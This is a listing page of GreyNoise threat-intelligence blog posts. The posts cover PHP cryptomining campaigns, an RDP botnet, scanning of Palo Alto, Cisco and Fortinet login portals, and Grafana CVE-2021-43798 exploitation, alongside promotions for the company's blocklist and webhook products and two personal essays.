The barrier to entry is low: exploit kits, prebuilt miners, and scanners are widely available. Often, a successful chain of automated steps—probe, exploit, payload fetch, execute—is all that’s needed to get mining capacity online.
PHP is everywhere: from tiny CMS installs to large web apps. Many sites run unpatched or old framework versions, and ThinkPHP—popular in parts of Asia but also found globally—shows up frequently in these campaigns.
The exploited vulnerabilities span a lengthy timeline (2012–2024), highlighting a core problem: old vulnerabilities don’t go away just because they’re old. Organizations patch parts of their stack, but legacy frameworks and forgotten installs remain exploitable. That persistence creates a reliable attack surface.
Internet-facing servers are preferred mining targets because they have more compute, run continuously, and often tolerate high resource use—so miners get better yield and longer uptime than they would from end-user devices.
These campaigns use methodical internet scanning to find vulnerable PHP installs. Exploitation is typically automated; the same exploit will successfully target hundreds or thousands of identical stacks. Cryptominer deployment follows a standard recipe and is typically fully automated.
Because mining doesn’t exfiltrate sensitive data or immediately crash systems, it can persist for long periods. The miner quietly consumes CPU/GPU cycles and reports work to attacker-controlled pools. Victims notice degraded performance and higher costs long before they realize they’ve been harvested for crypto.
The network graph demonstrates interconnected operations: different vulnerability chains (PHPUnit RCE, ThinkPHP, PHP CGI) share infrastructure, which suggests either a single large group or multiple groups reusing the same toolsets and pool infrastructure.
This is early November 2025—historically a strong month for Bitcoin and, given current prices and recent monetary easing, an attractive window for miners. The activity spike through September and October looks like positioning: compromise now, mine during the high-value period.
If November follows historical patterns and prices climb materially, deployed miners will earn significantly more than they would have months earlier. The Fed’s easing and the end of QT add a tailwind for risk assets, further reinforcing the incentive for attackers to maximize deployed capacity now.
Put bluntly, it’s volume economics. Scan thousands, compromise hundreds, deploy miners, and collect coins. The exploited PHP vulnerabilities range from trivial to complex, but automation compresses the skill requirement. Mining software and scripts are standardized; collection is automated via pools.
The campaigns we see are industrial in scale. Over 1,700 attacking IPs from major cloud providers suggest large botnets or significant rented infrastructure. Upward trends show successful scaling. Shared infrastructure and tooling point to coordination or a robust community market for exploitation and deployment tools.
Computing power → cryptocurrency → monetary value. When that chain lines up with favorable market conditions, criminal actors respond rationally: they increase mining capacity and run it while the window is lucrative.
.png)
One day during my freshman year of college my brother called me in a panic. Our mother had found a few bottles of cheap liquor in the house, and his desperate plan was simple: I should say they were mine. I laughed and agreed - Ann Arbor was nearly four hours away and I was pretty sure my RA wasn’t going to be able to keep me in my room. A few hours later when my mother called her first question was: “Were the bottles I found yours?” In the spirit of brotherly camaraderie I confidently said “yes.”
These days I work at GreyNoise, where the stakes are a bit higher than vodka in the basement. We run a global network consisting of thousands of sensors in more than seventy countries. These sensors are designed to look very tempting to attackers: unpatched, exposed, and vulnerable. We believe the design is pretty good, since on an average day more than 600,000 different IPs complete hundreds of millions of sessions, with about half being attacks. It’s like we left our front door wide open and can watch who walked in.
Of course, the problem with leaving the door open is that sometimes an intruder can make themselves a bit too comfortable. Every now and then an attacker actually compromises one of our sensors and starts using it to do something malicious - scanning for targets, deploying malware, etc. We usually detect this and then automatically repair and restore the sensor long before any activity can occur. Occasionally, however, an attacker moves fast enough to briefly start their work. That’s when we get the notification:
Subject line: AWS Abuse Report.
Translation: Amazon is politely asking us to get our act together, and quickly.
When that happens, we don’t get defensive. We get to work, shutting down the sensor and figuring out how to better detect and remediate quickly. We never get upset that the sensor was compromised, however. After all, the whole point of GreyNoise is to ensure that no attack works twice; that means we have to be the ones attacked first. Every time a new exploit or attack technique hits our honeypots, we learn from it, detect it, and share information so that it won’t work again on anyone else.
Let me make an important point: AWS is a great partner to work with, and we’re grateful whenever they help us catch something we missed. We hope AWS never has to send us an abuse report — because ideally, we should catch a popped sensor before they do. That’s the goal. And when one does slip through the cracks, it’s a reminder that our job is working: we take the hits so you don’t have to.
We think we’re doing a good job of this, and hope you feel the same. Either way, we’re doing better than I did back then. I tried to be a decoy for my brother and took the heat — just not very well. At GreyNoise, being the decoy is the job, and we’re a lot better at it.
“That’s sweet of you to lie for your brother; he’s grounded, and we’ll talk about you next time you come home for break,” my mother said.
Turns out, taking the blame works best when it’s part of the plan.
.png)
When I decided to join GreyNoise, it wasn’t just about the role—it was about the mission. As a first-generation American and a veteran with 25 years of military service, I’ve spent my life focused on protecting others and finding clarity in complex environments. GreyNoise stands out because it approaches cybersecurity from an angle that few others do: cutting through the noise of the internet to identify real threats. In a world where cyber operators are overwhelmed by volumes of data, endless alerts, and meaningless traffic, GreyNoise delivers clarity. Its unique position—collecting and analyzing background internet noise—empowers security teams to focus on what truly matters, turning chaos into actionable intelligence.
What truly drew me in, though, was the company’s culture. At GreyNoise, there’s an unwavering focus on outcomes over ego. People here genuinely care about helping security teams operate with greater precision, reducing wasted effort and accelerating decision-making. That shared purpose creates an energy you can feel across the organization.
As both a father and husband, I value environments where people are supported as whole individuals, not just employees—and that’s exactly what GreyNoise embodies. After decades of service, I’ve learned that true impact comes from strong leadership and cohesive teamwork. Both are essential for success, whether in uniform or in cybersecurity. GreyNoise reflects those same principles—leaders who empower, teams who trust one another, and a collective drive to make a difference.
Joining GreyNoise means being part of something bigger than a job—it’s joining a mission-driven team that’s redefining how the world thinks about security data. It’s a mission I’m proud to stand behind, both as a professional and as someone who has dedicated his life to service, leadership, and purpose.
GreyNoise has observed steady deployments of previously unseen IPs attacking Microsoft RDP services through timing-based vulnerabilities. Attackers are rotating significant volumes of new IPs each day to target two primary vectors — RD Web Access timing attacks and RDP web client login enumeration — likely in an effort to evade detection and blocking.
Use GreyNoise Block to dynamically block all IPs engaged in this activity. On 10 October, GreyNoise partially linked this activity to a global botnet, publishing a blocking template named “Oct-2025 RDP Botnet Campaign.” Applying this template instantly neutralizes the threat actors’ IP rotation strategy.
From September 2025 to present, we’ve observed a steady rise in the number of unique IPs targeting RDP — now exceeding 500,000.
The top three source countries in the past 90 days are:
Nearly 100 percent of targeting has been directed at U.S.-based systems. Source and target patterns remain consistent with the botnet activity first identified on 10 October.
The rapid churn of new IPs underscores an emerging trend: threat actors are increasingly rotating infrastructure to evade static blocking and complicate attribution.
Use GreyNoise Block to dynamically block all IPs engaged in this activity. The “Oct-2025 RDP Botnet Campaign” template remains the most effective method for mitigation. Get started with a free 14-day trial.
GreyNoise will continue to monitor the situation and update this post as necessary.
— — —
This discovery was led by boB Rudis.
.png)
Amid the security incident involving F5 BIG-IP announced on 15 October 2025, GreyNoise is sharing recent insights into activity targeting BIG-IP to aid in defensive posturing. The below anomalies may not necessarily relate to the 15 October incident.
Search the GreyNoise Visualizer to see real-time activity against F5 technologies.
GreyNoise will continue monitoring the situation and make updates as necessary. Please email research@greynoise.io with any tips or feedback on this analysis.
.png)
Security teams already have access to blocklists; commercial feeds, community lists, vendor-curated sets of bad IPs — they’ve been around for decades. And yet, every practitioner has experienced the same frustrations: the lists are too noisy, too static, too opaque, too slow to update, or just not quite meeting the right criteria.
That’s why GreyNoise built Block, a blocklist approach designed to be highly configurable, grounded in primary-sourced intelligence, and updated in real-time as attacker behavior changes.
Most blocklists share common issues:
As a result, network security teams struggle to balance security and availability, concerned that they’ll block legitimate traffic or fail to block malicious traffic.
GreyNoise approaches blocklists from a different angle:
GreyNoise Block delivers practical benefits to cybersecurity teams:
Creating blocklists within GreyNoise Block could not be easier. To optimize flexibility, each blocklist is associated with a GNQL query. For ease of use, GreyNoise includes a set of query templates that provide pre-built blocklists. Start by either selecting a pre-built template or writing a query from scratch.
When selecting a template, you can click “Block These IPs” to create a blocklist immediately or click “Edit Query” to refine the blocklist’s criteria even further. When editing the query, you can add, remove, or modify fields and group them logically through and/or clauses. As you modify fields, the Query Stats panel on the right updates automatically.
Once you have the query looking as you want it in the Query Builder, click the “Block These IPs” button to turn the query into a blocklist.
In the Create Blocklist dialog box, give the query a name and assign it an IP limit, which might be necessary if your firewall has a maximum supported size.
Once the block list is created, click the My Blocklists link at the top of the page to view the new block list and any others you have created. From the list, you can copy the blocklist URL to your firewall.
That’s all there is to it. Your firewall will periodically poll the blocklist URL and keep that bad traffic out of your network.
GreyNoise Block is available now with a free trial for 14 days.
.png)
GreyNoise is sharing an Executive Situation Report (SITREP) for this event, providing leadership with actionable judgments and evidence to support decision making.
In a significant escalation, the botnet has grown to ~300,000 IPs — more than tripling in size. The threat actor(s) continues its focus on RDP infrastructure in the United States, leveraging IPs from Brazil, Argentina, Singapore, and other countries.
The associated threat actor(s) is rapidly activating new botnet nodes to target U.S. RDP infrastructure. Therefore, static defense measures will not be effective at mitigating this threat.
Since October 8, 2025, GreyNoise has tracked a coordinated botnet operation involving over 100,000 unique IP addresses from more than 100 countries targeting Remote Desktop Protocol (RDP) services in the United States. The campaign employs two specific attack vectors — RD Web Access timing attacks and RDP web client login enumeration — with most participating IPs sharing one similar TCP fingerprint, indicating centralized control.
Use GreyNoise Block to dynamically block all IPs engaged in this activity. New users can try GreyNoise Block free for 14-days.
The botnet was discovered after GreyNoise detected an unusual spike in Brazilian IP space this week, which prompted investigation into broader traffic patterns.
Note: Full interaction = completed three-way handshake; No 3wh = no three-way handshake
Broadening our analysis, we observed additional surges in activity across many source countries since the beginning of October.
Pivoting from these findings, we then discovered a repeated pattern in RDP targeting — originating from many countries, sharing a similar client fingerprint, and all targeting US RDP infrastructure.
Several factors suggest this activity is originating from one botnet:
GreyNoise will continue monitoring the situation and provide updates here as necessary.
---
This discovery was led by boB Rudis with contributions from the broader GreyNoise team.
Time is critical in incident response. The gap between exploit disclosure and patching, between compromise and containment, or between detection and recovery often determines the difference between a near miss and a major breach. Attackers automate everything from recon to exploit creation. Defenders need to close the speed gap.
Most threat intelligence workflows still rely on polling. Analysts or automated systems query APIs or dashboards on fixed schedules—every few minutes, every hour, sometimes even less frequently. By the time new data is pulled in, attackers may have already rotated infrastructure, moved laterally, or pivoted to a new exploit. This delay undermines automation investments, keeping defenders stuck in reaction mode.
GreyNoise Feeds eliminate the need for polling by delivering event-driven webhook-based push notifications the moment something changes. Instead of waiting for the next scheduled query, your automation receives the update as soon as GreyNoise sees it. Teams can subscribe to three types of events:
GreyNoise Feeds are designed to be wired directly into automation platforms like SIEMs and SOARs. With feeds in place, teams can:
GreyNoise Feeds are quite easy to configure. Give the Feed a name, specify the type, that is whether IP classification change, CVE status change, or CVE activity spike, indicate the direction of the change (such as from unknown to malicious), and specify whether to notify on all IP addresses and CVEs or a select subset.
You will also need to configure where GreyNoise should deliver the notifications, and each feed can have a unique delivery address. The address is a url that has been configured to receive webhook feeds. In order to support authentication and other features, GreyNoise Feeds supports adding custom HTTP headers.
GreyNoise Feeds take intelligence out of batch mode. Instead of asking what changed after the fact, your systems can respond the moment GreyNoise sees new exploitation, malicious activity, or infrastructure shifts. For defenders racing against automated attackers, that time advantage matters.
Learn more and watch videos on how to use at GreyNoise docs.
.png)
GreyNoise has identified several links between three recent campaigns:
We assess with high confidence that all three campaigns are at least partially driven by the same threat actor(s), evidenced by:
In addition to continued escalation of login attempts against Palo login portals, GreyNoise has identified likely related and coordinated credential brute forcing against Fortinet SSL VPNs. We are providing lists of credentials used in both campaigns:
All three campaigns — Cisco ASA scanning, Palo login attempts, and Fortinet VPN brute forcing — heavily rely on the same subnets:
Use GreyNoise Block to directly block threat IPs from all relevant GreyNoise tags (ASA Scanner, Fortinet VPN Bruteforcer, Palo Scanner) and the below ASNs:
Defenders can use GreyNoise Block to craft custom blocklists, instantly mitigating risk at the perimeter.
In July, GreyNoise research identified a significant correlation:
Spikes in Fortinet VPN brute force attempts are typically followed by Fortinet VPN vulnerabilities disclosures within six weeks.
Block all IPs brute forcing Fortinet SSL VPNs, and consider hardening defenses for firewall and VPN appliances amid these findings.
For defender review, GreyNoise has published a list of all unique usernames and passwords from Palo login attempts observed in the last week.
GreyNoise has produced an Executive Situation Report (SITREP) on the situation, intended for decision makers.
In the past days, GreyNoise has observed an escalation in scanning against Palo Alto Networks PAN-OS GlobalProtect login portals. Since our original reporting of ~1,300 IPs in the afternoon of 3 October, we have observed a sharp rise in the daily number of unique IPs scanning for Palo login portals. Peaking today on 7 October, over 2,200 unique IPs scanned for Palo login portals.
In addition to an increase in the number of IPs involved, GreyNoise has observed a sharp increase in the unique count of ASNs involved in scanning Palo login portals, suggesting an increase in the number of threat actors involved.
Separately, we discovered that approximately 12 percent of all ASN11878 subnets are allocated to scanning Palo login portals.
The pace of login attempts suggests elevated activity may be driven by a threat actor(s) iterating through a large dataset of credentials.
.png)
On October 3, 2025, GreyNoise observed a ~500% increase in IPs scanning Palo Alto Networks login portals, the highest level recorded in the past 90 days.
GreyNoise research in July found that surges in activity against Palo Alto technologies have, in some cases, been followed by new vulnerability disclosures within six weeks (see chart below). However, surges against GreyNoise’s Palo Alto Networks Login Scanner tag have not shown this correlation. GreyNoise will continue monitoring in case this activity precedes a new Palo Alto disclosure, which would represent an additive signal to our July research.
GreyNoise analysis shows that this Palo Alto surge shares characteristics with Cisco ASA scanning occurring in the past 48 hours. In both cases, the scanners exhibited regional clustering and fingerprinting overlap in the tooling used. Both Cisco ASA and Palo Alto login scanning traffic in the past 48 hours share a dominant TCP fingerprint tied to infrastructure in the Netherlands. This comes after GreyNoise initially reported an ASA scanning surge before Cisco’s disclosure of two ASA zero-days.
These similarities indicate the activity may be related through shared tooling or centrally managed infrastructure, but GreyNoise cannot confirm whether it was carried out by the same operators or with the same intent.
In addition to a possible connection to ongoing Cisco ASA scanning, GreyNoise identified concurrent surges across remote access services. While suspicious, we are unsure if this activity is related.
These factors distinguish the surge from background noise and mark it as a clear reconnaissance event. GreyNoise will continue monitoring for potential follow-on exploitation attempts.
GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.
— — —
This research and discovery was a collaborative effort between boB Rudis and Noah Stone, with additional contributions from Towne Besel.
.png)
For executive audiences, please see the accompanying Situation Report (SITREP) for this activity.
On 28 September 2025, GreyNoise observed a sharp one-day surge of exploitation attempts targeting CVE-2021-43798 — a Grafana path traversal vulnerability that enables arbitrary file reads. Over the course of the day, 110 unique IPs attempted exploitation against GreyNoise’s Global Observation Grid (GOG). All 110 IPs are classified as malicious.
Grafana exploitation had been largely quiet in recent months. On 28 September, activity spiked sharply:
Two elements stand out in the data:
The alignment across both geography and tooling suggests shared tasking or a common target list, not uncoordinated traffic.
Two IPs geolocated to China are worth highlighting:
Both belong to CHINANET-BACKBONE, were first observed on 28 September, active only that day, and overwhelmingly focused on Grafana.
Exploitation of older, high-impact vulnerabilities like CVE-2021-43798 is common across different threat categories:
This activity reflects a coordinated push against a known, older vulnerability. The uniform targeting pattern across source countries and tooling indicates common tasking or shared exploit use. GreyNoise does not attribute this to a specific threat actor, but the convergence suggests either one operator leveraging diverse infrastructure or multiple operators reusing the same exploit kit and target set.
We anticipate old vulnerabilities — like CVE-2021-43798, and even older ones — will continue resurging in the future. Read GreyNoise’s research from earlier this year to learn more about the patterns and behaviors resurgent vulnerabilities tend to exhibit, and how defenders can stay ahead.
Please contact your GreyNoise support team if you are interested in the JA4+ signatures in this investigation.
GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.
— — —
This research and discovery was a collaborative effort between Glenn Thorpe, Noah Stone, Towne Besel, and boB Rudis.
Please update your search term or select a different category and try again.
